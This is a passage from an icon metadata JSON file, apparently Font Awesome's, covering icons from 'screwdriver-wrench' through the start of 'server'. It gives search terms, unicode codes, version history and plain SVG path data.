        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M465 7c-8.5-8.5-22-9.4-31.6-2.1l-104 80c-5.9 4.5-9.4 11.6-9.4 19v54.1l-85.6 85.6c6.7 4.2 13 9.3 18.8 15.1s10.9 12.2 15.1 18.8L353.9 192H408c7.5 0 14.5-3.5 19-9.4l80-104c7.4-9.6 6.5-23.1-2.1-31.6L465 7zM121.4 281.4l-112 112c-12.5 12.5-12.5 32.8 0 45.3l64 64c12.5 12.5 32.8 12.5 45.3 0l112-112c30.2-30.2 30.2-79.1 0-109.3s-79.1-30.2-109.3 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M465 7c-8.5-8.5-22-9.4-31.6-2.1l-104 80c-5.9 4.5-9.4 11.6-9.4 19v54.1l-85.6 85.6c6.7 4.2 13 9.3 18.8 15.1s10.9 12.2 15.1 18.8L353.9 192H408c7.5 0 14.5-3.5 19-9.4l80-104c7.4-9.6 6.5-23.1-2.1-31.6L465 7zM121.4 281.4l-112 112c-12.5 12.5-12.5 32.8 0 45.3l64 64c12.5 12.5 32.8 12.5 45.3 0l112-112c30.2-30.2 30.2-79.1 0-109.3s-79.1-30.2-109.3 0z"
      }
    },
    "free": ["solid"]
  },
  "screwdriver-wrench": {
    "aliases": {
      "names": ["tools"],
      "unicodes": {
        "secondary": ["10f7d9"]
      }
    },
    "changes": ["5.6.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "admin",
        "fix",
        "repair",
        "screwdriver",
        "settings",
        "tools",
        "wrench"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7d9",
    "label": "Screwdriver Wrench",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M78.6 5C69.1-2.4 55.6-1.5 47 7L7 47c-8.5 8.5-9.4 22-2.1 31.6l80 104c4.5 5.9 11.6 9.4 19 9.4h54.1l109 109c-14.7 29-10 65.4 14.3 89.6l112 112c12.5 12.5 32.8 12.5 45.3 0l64-64c12.5-12.5 12.5-32.8 0-45.3l-112-112c-24.2-24.2-60.6-29-89.6-14.3l-109-109V104c0-7.5-3.5-14.5-9.4-19L78.6 5zM19.9 396.1C7.2 408.8 0 426.1 0 444.1C0 481.6 30.4 512 67.9 512c18 0 35.3-7.2 48-19.9L233.7 374.3c-7.8-20.9-9-43.6-3.6-65.1l-61.7-61.7L19.9 396.1zM512 144c0-10.5-1.1-20.7-3.2-30.5c-2.4-11.2-16.1-14.1-24.2-6l-63.9 63.9c-3 3-7.1 4.7-11.3 4.7H352c-8.8 0-16-7.2-16-16V102.6c0-4.2 1.7-8.3 4.7-11.3l63.9-63.9c8.1-8.1 5.2-21.8-6-24.2C388.7 1.1 378.5 0 368 0C288.5 0 224 64.5 224 144l0 .8 85.3 85.3c36-9.1 75.8 .5 104 28.7L429 274.5c49-23 83-72.8 83-130.5zM56 432a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M78.6 5C69.1-2.4 55.6-1.5 47 7L7 47c-8.5 8.5-9.4 22-2.1 31.6l80 104c4.5 5.9 11.6 9.4 19 9.4h54.1l109 109c-14.7 29-10 65.4 14.3 89.6l112 112c12.5 12.5 32.8 12.5 45.3 0l64-64c12.5-12.5 12.5-32.8 0-45.3l-112-112c-24.2-24.2-60.6-29-89.6-14.3l-109-109V104c0-7.5-3.5-14.5-9.4-19L78.6 5zM19.9 396.1C7.2 408.8 0 426.1 0 444.1C0 481.6 30.4 512 67.9 512c18 0 35.3-7.2 48-19.9L233.7 374.3c-7.8-20.9-9-43.6-3.6-65.1l-61.7-61.7L19.9 396.1zM512 144c0-10.5-1.1-20.7-3.2-30.5c-2.4-11.2-16.1-14.1-24.2-6l-63.9 63.9c-3 3-7.1 4.7-11.3 4.7H352c-8.8 0-16-7.2-16-16V102.6c0-4.2 1.7-8.3 4.7-11.3l63.9-63.9c8.1-8.1 5.2-21.8-6-24.2C388.7 1.1 378.5 0 368 0C288.5 0 224 64.5 224 144l0 .8 85.3 85.3c36-9.1 75.8 .5 104 28.7L429 274.5c49-23 83-72.8 83-130.5zM56 432a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "scribd": {
    "changes": ["4.5.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f28a",
    "label": "Scribd",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M42.3 252.7c-16.1-19-24.7-45.9-24.8-79.9 0-100.4 75.2-153.1 167.2-153.1 98.6-1.6 156.8 49 184.3 70.6l-50.5 72.1-37.3-24.6 26.9-38.6c-36.5-24-79.4-36.5-123-35.8-50.7-.8-111.7 27.2-111.7 76.2 0 18.7 11.2 20.7 28.6 15.6 23.3-5.3 41.9.6 55.8 14 26.4 24.3 23.2 67.6-.7 91.9-29.2 29.5-85.2 27.3-114.8-8.4zm317.7 5.9c-15.5-18.8-38.9-29.4-63.2-28.6-38.1-2-71.1 28-70.5 67.2-.7 16.8 6 33 18.4 44.3 14.1 13.9 33 19.7 56.3 14.4 17.4-5.1 28.6-3.1 28.6 15.6 0 4.3-.5 8.5-1.4 12.7-16.7 40.9-59.5 64.4-121.4 64.4-51.9.2-102.4-16.4-144.1-47.3l33.7-39.4-35.6-27.4L0 406.3l15.4 13.8c52.5 46.8 120.4 72.5 190.7 72.2 51.4 0 94.4-10.5 133.6-44.1 57.1-51.4 54.2-149.2 20.3-189.6z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M42.3 252.7c-16.1-19-24.7-45.9-24.8-79.9 0-100.4 75.2-153.1 167.2-153.1 98.6-1.6 156.8 49 184.3 70.6l-50.5 72.1-37.3-24.6 26.9-38.6c-36.5-24-79.4-36.5-123-35.8-50.7-.8-111.7 27.2-111.7 76.2 0 18.7 11.2 20.7 28.6 15.6 23.3-5.3 41.9.6 55.8 14 26.4 24.3 23.2 67.6-.7 91.9-29.2 29.5-85.2 27.3-114.8-8.4zm317.7 5.9c-15.5-18.8-38.9-29.4-63.2-28.6-38.1-2-71.1 28-70.5 67.2-.7 16.8 6 33 18.4 44.3 14.1 13.9 33 19.7 56.3 14.4 17.4-5.1 28.6-3.1 28.6 15.6 0 4.3-.5 8.5-1.4 12.7-16.7 40.9-59.5 64.4-121.4 64.4-51.9.2-102.4-16.4-144.1-47.3l33.7-39.4-35.6-27.4L0 406.3l15.4 13.8c52.5 46.8 120.4 72.5 190.7 72.2 51.4 0 94.4-10.5 133.6-44.1 57.1-51.4 54.2-149.2 20.3-189.6z"
      }
    },
    "free": ["brands"]
  },
  "scroll": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4dc"],
        "secondary": ["10f70e"]
      }
    },
    "changes": ["5.4.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "announcement",
        "d&d",
        "dnd",
        "fantasy",
        "paper",
        "script",
        "scroll"
      ]
    },
    "styles": ["solid"],
    "unicode": "f70e",
    "label": "Scroll",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 80v48c0 17.7 14.3 32 32 32H48 96V80c0-26.5-21.5-48-48-48S0 53.5 0 80zM112 32c10 13.4 16 30 16 48V384c0 35.3 28.7 64 64 64s64-28.7 64-64v-5.3c0-32.4 26.3-58.7 58.7-58.7H480V128c0-53-43-96-96-96H112zM464 480c61.9 0 112-50.1 112-112c0-8.8-7.2-16-16-16H314.7c-14.7 0-26.7 11.9-26.7 26.7V384c0 53-43 96-96 96H368h96z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 80v48c0 17.7 14.3 32 32 32H48 96V80c0-26.5-21.5-48-48-48S0 53.5 0 80zM112 32c10 13.4 16 30 16 48V384c0 35.3 28.7 64 64 64s64-28.7 64-64v-5.3c0-32.4 26.3-58.7 58.7-58.7H480V128c0-53-43-96-96-96H112zM464 480c61.9 0 112-50.1 112-112c0-8.8-7.2-16-16-16H314.7c-14.7 0-26.7 11.9-26.7 26.7V384c0 53-43 96-96 96H368h96z"
      }
    },
    "free": ["solid"]
  },
  "scroll-torah": {
    "aliases": {
      "names": ["torah"],
      "unicodes": {
        "secondary": ["10f6a0"]
      }
    },
    "changes": [
      "5.3.0",
      "5.7.0",
      "5.9.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["book", "jewish", "judaism", "religion", "scroll"]
    },
    "styles": ["solid"],
    "unicode": "f6a0",
    "label": "Scroll Torah",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 480V32C96 14.3 74.5 0 48 0S0 14.3 0 32V480c0 17.7 21.5 32 48 32s48-14.3 48-32zM512 32H128V480H512V32zM592 0c-26.5 0-48 14.3-48 32V480c0 17.7 21.5 32 48 32s48-14.3 48-32V32c0-17.7-21.5-32-48-32zM196 313.7c0-3.2 .9-6.4 2.5-9.2L226.7 256l-28.3-48.5c-1.6-2.8-2.5-6-2.5-9.2c0-10.1 8.2-18.3 18.3-18.3H271l31.4-53.9c3.6-6.3 10.3-10.1 17.6-10.1s13.9 3.8 17.6 10.1L369 180h56.7c10.1 0 18.3 8.2 18.3 18.3c0 3.2-.9 6.4-2.5 9.2L413.3 256l28.3 48.5c1.6 2.8 2.5 6 2.5 9.2c0 10.1-8.2 18.3-18.3 18.3H369l-31.4 53.9c-3.6 6.3-10.3 10.1-17.6 10.1s-13.9-3.8-17.6-10.1L271 332H214.3c-10.1 0-18.3-8.2-18.3-18.3zm124 54.7L341.2 332H298.8L320 368.4zM254.5 256l30.3 52h70.4l30.3-52-30.3-52H284.8l-30.3 52zm144.9 23.8L383 308h32.8l-16.4-28.2zM415.8 204H383l16.4 28.2L415.8 204zM320 143.6L298.8 180h42.4L320 143.6zM224.2 204l16.4 28.2L257 204H224.2zM257 308l-16.4-28.2L224.2 308H257z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 480V32C96 14.3 74.5 0 48 0S0 14.3 0 32V480c0 17.7 21.5 32 48 32s48-14.3 48-32zM512 32H128V480H512V32zM592 0c-26.5 0-48 14.3-48 32V480c0 17.7 21.5 32 48 32s48-14.3 48-32V32c0-17.7-21.5-32-48-32zM196 313.7c0-3.2 .9-6.4 2.5-9.2L226.7 256l-28.3-48.5c-1.6-2.8-2.5-6-2.5-9.2c0-10.1 8.2-18.3 18.3-18.3H271l31.4-53.9c3.6-6.3 10.3-10.1 17.6-10.1s13.9 3.8 17.6 10.1L369 180h56.7c10.1 0 18.3 8.2 18.3 18.3c0 3.2-.9 6.4-2.5 9.2L413.3 256l28.3 48.5c1.6 2.8 2.5 6 2.5 9.2c0 10.1-8.2 18.3-18.3 18.3H369l-31.4 53.9c-3.6 6.3-10.3 10.1-17.6 10.1s-13.9-3.8-17.6-10.1L271 332H214.3c-10.1 0-18.3-8.2-18.3-18.3zm124 54.7L341.2 332H298.8L320 368.4zM254.5 256l30.3 52h70.4l30.3-52-30.3-52H284.8l-30.3 52zm144.9 23.8L383 308h32.8l-16.4-28.2zM415.8 204H383l16.4 28.2L415.8 204zM320 143.6L298.8 180h42.4L320 143.6zM224.2 204l16.4 28.2L257 204H224.2zM257 308l-16.4-28.2L224.2 308H257z"
      }
    },
    "free": ["solid"]
  },
  "sd-card": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7c2"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["image", "memory", "photo", "save"]
    },
    "styles": ["solid"],
    "unicode": "f7c2",
    "label": "Sd Card",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767341,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M320 0H141.3C124.3 0 108 6.7 96 18.7L18.7 96C6.7 108 0 124.3 0 141.3V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zM160 88v48c0 13.3-10.7 24-24 24s-24-10.7-24-24V88c0-13.3 10.7-24 24-24s24 10.7 24 24zm80 0v48c0 13.3-10.7 24-24 24s-24-10.7-24-24V88c0-13.3 10.7-24 24-24s24 10.7 24 24zm80 0v48c0 13.3-10.7 24-24 24s-24-10.7-24-24V88c0-13.3 10.7-24 24-24s24 10.7 24 24z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M320 0H141.3C124.3 0 108 6.7 96 18.7L18.7 96C6.7 108 0 124.3 0 141.3V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zM160 88v48c0 13.3-10.7 24-24 24s-24-10.7-24-24V88c0-13.3 10.7-24 24-24s24 10.7 24 24zm80 0v48c0 13.3-10.7 24-24 24s-24-10.7-24-24V88c0-13.3 10.7-24 24-24s24 10.7 24 24zm80 0v48c0 13.3-10.7 24-24 24s-24-10.7-24-24V88c0-13.3 10.7-24 24-24s24 10.7 24 24z"
      }
    },
    "free": ["solid"]
  },
  "searchengin": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3eb",
    "label": "Searchengin",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 460 512\"><path d=\"M220.6 130.3l-67.2 28.2V43.2L98.7 233.5l54.7-24.2v130.3l67.2-209.3zm-83.2-96.7l-1.3 4.7-15.2 52.9C80.6 106.7 52 145.8 52 191.5c0 52.3 34.3 95.9 83.4 105.5v53.6C57.5 340.1 0 272.4 0 191.6c0-80.5 59.8-147.2 137.4-158zm311.4 447.2c-11.2 11.2-23.1 12.3-28.6 10.5-5.4-1.8-27.1-19.9-60.4-44.4-33.3-24.6-33.6-35.7-43-56.7-9.4-20.9-30.4-42.6-57.5-52.4l-9.7-14.7c-24.7 16.9-53 26.9-81.3 28.7l2.1-6.6 15.9-49.5c46.5-11.9 80.9-54 80.9-104.2 0-54.5-38.4-102.1-96-107.1V32.3C254.4 37.4 320 106.8 320 191.6c0 33.6-11.2 64.7-29 90.4l14.6 9.6c9.8 27.1 31.5 48 52.4 57.4s32.2 9.7 56.8 43c24.6 33.2 42.7 54.9 44.5 60.3s.7 17.3-10.5 28.5zm-9.9-17.9c0-4.4-3.6-8-8-8s-8 3.6-8 8 3.6 8 8 8 8-3.6 8-8z\"/></svg>",
        "viewBox": [0, 0, 460, 512],
        "width": 460,
        "height": 512,
        "path": "M220.6 130.3l-67.2 28.2V43.2L98.7 233.5l54.7-24.2v130.3l67.2-209.3zm-83.2-96.7l-1.3 4.7-15.2 52.9C80.6 106.7 52 145.8 52 191.5c0 52.3 34.3 95.9 83.4 105.5v53.6C57.5 340.1 0 272.4 0 191.6c0-80.5 59.8-147.2 137.4-158zm311.4 447.2c-11.2 11.2-23.1 12.3-28.6 10.5-5.4-1.8-27.1-19.9-60.4-44.4-33.3-24.6-33.6-35.7-43-56.7-9.4-20.9-30.4-42.6-57.5-52.4l-9.7-14.7c-24.7 16.9-53 26.9-81.3 28.7l2.1-6.6 15.9-49.5c46.5-11.9 80.9-54 80.9-104.2 0-54.5-38.4-102.1-96-107.1V32.3C254.4 37.4 320 106.8 320 191.6c0 33.6-11.2 64.7-29 90.4l14.6 9.6c9.8 27.1 31.5 48 52.4 57.4s32.2 9.7 56.8 43c24.6 33.2 42.7 54.9 44.5 60.3s.7 17.3-10.5 28.5zm-9.9-17.9c0-4.4-3.6-8-8-8s-8 3.6-8 8 3.6 8 8 8 8-3.6 8-8z"
      }
    },
    "free": ["brands"]
  },
  "section": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Section Sign", "law", "legal", "silcrow"]
    },
    "styles": ["solid"],
    "unicode": "e447",
    "label": "Section",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M64.9 96C67.1 84.4 73.7 76.2 86 70.6c13.8-6.2 34.8-8.9 61.2-4.5c8.8 1.4 36.1 7.1 44.1 9.3c17 4.8 34.7-5.1 39.5-22.2s-5.1-34.7-22.2-39.5c-11.1-3.1-41-9.2-50.9-10.8C123-2.7 88.3-.6 59.7 12.3C29.9 25.8 7.5 50.9 1.6 86.5c-.1 .5-.2 1.1-.2 1.6c-2.2 19.7 .3 37.9 8.1 54.1c7.7 16.1 19.4 28 32 36.9c.6 .5 1.3 .9 2 1.4C22.3 194.2 6.5 215.1 1.7 243c-.1 .6-.2 1.1-.2 1.7c-2.3 19.3 .4 37.1 8.4 53c7.9 15.6 19.8 27 32.3 35.5c22.4 15.2 51.9 24 75.4 31l0 0 3.7 1.1c27.2 8.2 46.9 14.6 59.4 23.8c5.5 4 8.2 7.6 9.5 10.9c1.3 3.2 2.6 8.6 .9 18.1c-1.7 10.1-7.7 18-20.7 23.5c-14 6-35.4 8.5-62 4.4c-12.8-2.1-35.1-9.7-54.1-16.2l0 0c-4.3-1.5-8.5-2.9-12.3-4.2C25.3 420 7.2 429.1 1.6 445.8s3.5 34.9 20.3 40.5c2.6 .8 5.7 1.9 9.2 3.1c18.6 6.3 48.5 16.6 67.3 19.6l0 0 .2 0c34.5 5.4 68.8 3.4 97.2-8.7c29.4-12.6 52.5-36.5 58.5-71.5c3.3-19.3 1.9-37.4-5-53.9c-6.3-15-16.4-26.4-27.6-35.2c16.5-13.9 28.5-33.2 32.6-58.2c3.2-19.8 1.9-38.3-4.8-55.1c-6.7-16.8-17.8-29.4-30.2-39c-22.8-17.6-53.6-27.4-77.7-35l-1.4-.5c-27.4-8.7-47.8-15.3-61.5-25c-6.1-4.4-9.5-8.5-11.4-12.4c-1.8-3.7-3.2-9.3-2.3-18.5zm76.7 208.5c-.2-.1-.4-.1-.6-.2l-1.4-.4c-27.4-8.2-47.9-14.5-61.7-23.8c-6.2-4.2-9.3-7.9-11-11.3c-1.5-3-2.9-7.7-2.1-15.7c1.9-9.7 7.9-17.3 20.5-22.7c14-6 35.4-8.5 62.1-4.3l16.4 2.6c6.3 2.9 11.7 6 16.2 9.5c5.5 4.2 8.4 8.2 10 12.2c1.6 4 2.8 10.4 1.1 20.9c-2.4 14.7-12.8 26.4-37.1 31l-12.4 2.3z\"/></svg>",
        "viewBox": [0, 0, 256, 512],
        "width": 256,
        "height": 512,
        "path": "M64.9 96C67.1 84.4 73.7 76.2 86 70.6c13.8-6.2 34.8-8.9 61.2-4.5c8.8 1.4 36.1 7.1 44.1 9.3c17 4.8 34.7-5.1 39.5-22.2s-5.1-34.7-22.2-39.5c-11.1-3.1-41-9.2-50.9-10.8C123-2.7 88.3-.6 59.7 12.3C29.9 25.8 7.5 50.9 1.6 86.5c-.1 .5-.2 1.1-.2 1.6c-2.2 19.7 .3 37.9 8.1 54.1c7.7 16.1 19.4 28 32 36.9c.6 .5 1.3 .9 2 1.4C22.3 194.2 6.5 215.1 1.7 243c-.1 .6-.2 1.1-.2 1.7c-2.3 19.3 .4 37.1 8.4 53c7.9 15.6 19.8 27 32.3 35.5c22.4 15.2 51.9 24 75.4 31l0 0 3.7 1.1c27.2 8.2 46.9 14.6 59.4 23.8c5.5 4 8.2 7.6 9.5 10.9c1.3 3.2 2.6 8.6 .9 18.1c-1.7 10.1-7.7 18-20.7 23.5c-14 6-35.4 8.5-62 4.4c-12.8-2.1-35.1-9.7-54.1-16.2l0 0c-4.3-1.5-8.5-2.9-12.3-4.2C25.3 420 7.2 429.1 1.6 445.8s3.5 34.9 20.3 40.5c2.6 .8 5.7 1.9 9.2 3.1c18.6 6.3 48.5 16.6 67.3 19.6l0 0 .2 0c34.5 5.4 68.8 3.4 97.2-8.7c29.4-12.6 52.5-36.5 58.5-71.5c3.3-19.3 1.9-37.4-5-53.9c-6.3-15-16.4-26.4-27.6-35.2c16.5-13.9 28.5-33.2 32.6-58.2c3.2-19.8 1.9-38.3-4.8-55.1c-6.7-16.8-17.8-29.4-30.2-39c-22.8-17.6-53.6-27.4-77.7-35l-1.4-.5c-27.4-8.7-47.8-15.3-61.5-25c-6.1-4.4-9.5-8.5-11.4-12.4c-1.8-3.7-3.2-9.3-2.3-18.5zm76.7 208.5c-.2-.1-.4-.1-.6-.2l-1.4-.4c-27.4-8.2-47.9-14.5-61.7-23.8c-6.2-4.2-9.3-7.9-11-11.3c-1.5-3-2.9-7.7-2.1-15.7c1.9-9.7 7.9-17.3 20.5-22.7c14-6 35.4-8.5 62.1-4.3l16.4 2.6c6.3 2.9 11.7 6 16.2 9.5c5.5 4.2 8.4 8.2 10 12.2c1.6 4 2.8 10.4 1.1 20.9c-2.4 14.7-12.8 26.4-37.1 31l-12.4 2.3z"
      }
    },
    "free": ["solid"]
  },
  "seedling": {
    "aliases": {
      "names": ["sprout"],
      "unicodes": {
        "composite": ["1f331"],
        "secondary": ["10f4d8"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "environment",
        "flora",
        "grow",
        "plant",
        "sapling",
        "seedling",
        "vegan",
        "young"
      ]
    },
    "styles": ["solid"],
    "unicode": "f4d8",
    "label": "Seedling",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 32c0 113.6-84.6 207.5-194.2 222c-7.1-53.4-30.6-101.6-65.3-139.3C290.8 46.3 364 0 448 0h32c17.7 0 32 14.3 32 32zM0 96C0 78.3 14.3 64 32 64H64c123.7 0 224 100.3 224 224v32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V320C100.3 320 0 219.7 0 96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 32c0 113.6-84.6 207.5-194.2 222c-7.1-53.4-30.6-101.6-65.3-139.3C290.8 46.3 364 0 448 0h32c17.7 0 32 14.3 32 32zM0 96C0 78.3 14.3 64 32 64H64c123.7 0 224 100.3 224 224v32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V320C100.3 320 0 219.7 0 96z"
      }
    },
    "free": ["solid"]
  },
  "sellcast": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["eercast"]
    },
    "styles": ["brands"],
    "unicode": "f2da",
    "label": "Sellcast",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M353.4 32H94.7C42.6 32 0 74.6 0 126.6v258.7C0 437.4 42.6 480 94.7 480h258.7c52.1 0 94.7-42.6 94.7-94.6V126.6c0-52-42.6-94.6-94.7-94.6zm-50 316.4c-27.9 48.2-89.9 64.9-138.2 37.2-22.9 39.8-54.9 8.6-42.3-13.2l15.7-27.2c5.9-10.3 19.2-13.9 29.5-7.9 18.6 10.8-.1-.1 18.5 10.7 27.6 15.9 63.4 6.3 79.4-21.3 15.9-27.6 6.3-63.4-21.3-79.4-17.8-10.2-.6-.4-18.6-10.6-24.6-14.2-3.4-51.9 21.6-37.5 18.6 10.8-.1-.1 18.5 10.7 48.4 28 65.1 90.3 37.2 138.5zm21.8-208.8c-17 29.5-16.3 28.8-19 31.5-6.5 6.5-16.3 8.7-26.5 3.6-18.6-10.8.1.1-18.5-10.7-27.6-15.9-63.4-6.3-79.4 21.3s-6.3 63.4 21.3 79.4c0 0 18.5 10.6 18.6 10.6 24.6 14.2 3.4 51.9-21.6 37.5-18.6-10.8.1.1-18.5-10.7-48.2-27.8-64.9-90.1-37.1-138.4 27.9-48.2 89.9-64.9 138.2-37.2l4.8-8.4c14.3-24.9 52-3.3 37.7 21.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M353.4 32H94.7C42.6 32 0 74.6 0 126.6v258.7C0 437.4 42.6 480 94.7 480h258.7c52.1 0 94.7-42.6 94.7-94.6V126.6c0-52-42.6-94.6-94.7-94.6zm-50 316.4c-27.9 48.2-89.9 64.9-138.2 37.2-22.9 39.8-54.9 8.6-42.3-13.2l15.7-27.2c5.9-10.3 19.2-13.9 29.5-7.9 18.6 10.8-.1-.1 18.5 10.7 27.6 15.9 63.4 6.3 79.4-21.3 15.9-27.6 6.3-63.4-21.3-79.4-17.8-10.2-.6-.4-18.6-10.6-24.6-14.2-3.4-51.9 21.6-37.5 18.6 10.8-.1-.1 18.5 10.7 48.4 28 65.1 90.3 37.2 138.5zm21.8-208.8c-17 29.5-16.3 28.8-19 31.5-6.5 6.5-16.3 8.7-26.5 3.6-18.6-10.8.1.1-18.5-10.7-27.6-15.9-63.4-6.3-79.4 21.3s-6.3 63.4 21.3 79.4c0 0 18.5 10.6 18.6 10.6 24.6 14.2 3.4 51.9-21.6 37.5-18.6-10.8.1.1-18.5-10.7-48.2-27.8-64.9-90.1-37.1-138.4 27.9-48.2 89.9-64.9 138.2-37.2l4.8-8.4c14.3-24.9 52-3.3 37.7 21.5z"
      }
    },
    "free": ["brands"]
  },
  "sellsy": {
    "changes": ["4.3.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f213",
    "label": "Sellsy",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M539.71 237.308c3.064-12.257 4.29-24.821 4.29-37.384C544 107.382 468.618 32 376.076 32c-77.22 0-144.634 53.012-163.02 127.781-15.322-13.176-34.934-20.53-55.157-20.53-46.271 0-83.962 37.69-83.962 83.961 0 7.354.92 15.015 3.065 22.369-42.9 20.225-70.785 63.738-70.785 111.234C6.216 424.843 61.68 480 129.401 480h381.198c67.72 0 123.184-55.157 123.184-123.184.001-56.384-38.916-106.025-94.073-119.508zM199.88 401.554c0 8.274-7.048 15.321-15.321 15.321H153.61c-8.274 0-15.321-7.048-15.321-15.321V290.626c0-8.273 7.048-15.321 15.321-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v110.928zm89.477 0c0 8.274-7.048 15.321-15.322 15.321h-30.949c-8.274 0-15.321-7.048-15.321-15.321V270.096c0-8.274 7.048-15.321 15.321-15.321h30.949c8.274 0 15.322 7.048 15.322 15.321v131.458zm89.477 0c0 8.274-7.047 15.321-15.321 15.321h-30.949c-8.274 0-15.322-7.048-15.322-15.321V238.84c0-8.274 7.048-15.321 15.322-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v162.714zm87.027 0c0 8.274-7.048 15.321-15.322 15.321h-28.497c-8.274 0-15.321-7.048-15.321-15.321V176.941c0-8.579 7.047-15.628 15.321-15.628h28.497c8.274 0 15.322 7.048 15.322 15.628v224.613z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M539.71 237.308c3.064-12.257 4.29-24.821 4.29-37.384C544 107.382 468.618 32 376.076 32c-77.22 0-144.634 53.012-163.02 127.781-15.322-13.176-34.934-20.53-55.157-20.53-46.271 0-83.962 37.69-83.962 83.961 0 7.354.92 15.015 3.065 22.369-42.9 20.225-70.785 63.738-70.785 111.234C6.216 424.843 61.68 480 129.401 480h381.198c67.72 0 123.184-55.157 123.184-123.184.001-56.384-38.916-106.025-94.073-119.508zM199.88 401.554c0 8.274-7.048 15.321-15.321 15.321H153.61c-8.274 0-15.321-7.048-15.321-15.321V290.626c0-8.273 7.048-15.321 15.321-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v110.928zm89.477 0c0 8.274-7.048 15.321-15.322 15.321h-30.949c-8.274 0-15.321-7.048-15.321-15.321V270.096c0-8.274 7.048-15.321 15.321-15.321h30.949c8.274 0 15.322 7.048 15.322 15.321v131.458zm89.477 0c0 8.274-7.047 15.321-15.321 15.321h-30.949c-8.274 0-15.322-7.048-15.322-15.321V238.84c0-8.274 7.048-15.321 15.322-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v162.714zm87.027 0c0 8.274-7.048 15.321-15.322 15.321h-28.497c-8.274 0-15.321-7.048-15.321-15.321V176.941c0-8.579 7.047-15.628 15.321-15.628h28.497c8.274 0 15.322 7.048 15.322 15.628v224.613z"
      }
    },
    "free": ["brands"]
  },
  "server": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f233"]
      }
    },
    "changes": ["4.3.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["computer", "cpu", "database", "hardware", "network"]
